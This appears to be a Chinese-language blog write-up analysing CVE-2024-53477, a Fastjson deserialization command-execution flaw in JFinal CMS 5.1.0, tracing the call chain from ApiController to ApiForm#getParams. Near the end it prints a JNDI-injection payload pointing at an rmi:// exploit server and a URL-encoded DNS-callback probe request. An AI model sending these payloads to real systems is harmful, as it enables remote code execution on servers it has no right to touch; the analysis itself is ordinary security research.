JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)
JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)
环境搭建
git clone https://github.com/jflyfox/jfinal_cms.git拉取5.1.0版本。
Tomcat 9.0.96 JDK 17.0.1
漏洞简述
在这个版本,Maven中使用了Fastjson1.2.62版本,该版本存在反序列化漏洞。而正好这个版本存在一个可控的parseObject
漏洞分析
我们跟进到com.jflyfox.api.form.ApiForm#getParams
这里对params使用了parseObject,而这个params是p而来的,看p
p就是ApiForm的一个属性。现在找哪里用了getParams
为这几个,继续往上找;发现这几个方法都会在ApiV100Logic或者BaseApiLogic中被调用,且ApiV100Logic继承BaseApiLogic
我们看com.jflyfox.api.service.impl.ApiV100Logic#里面很多方法都能够触发com.jflyfox.api.form.ApiForm#中的get方法,那么就能调用到com.jflyfox.api.form.ApiForm#getParams
现在去找怎么调用到com.jflyfox.api.service.impl.ApiV100Logic#中的方法。
去找controller,去看com.jflyfox.api.controller.ApiController#action的具体实现;
这里很关键,这能返回一个IApiLogic类型的实例,通过反射调用接口;跟进到 ReflectionUtils.invokeMethod
这里通过反射调用方法;我们传入IApiLogic实例然后加一个方法就进入了ApiV100Logic;这里以article为例,
形成闭环了。
{ "@type":"org.apache.xbean.propertyeditor.JndiConverter", "AsText":"rmi://127.0.0.1:1099/exploit"}";
api/action?version=1.0.0&method=article&p=%7B%22%40type%22%3A%22java.net.Inet4Address%22%2C%22val%22%3A%2285p4wv.ceye.io%22%7D调试过程
重拾几个月前学的东西。。。













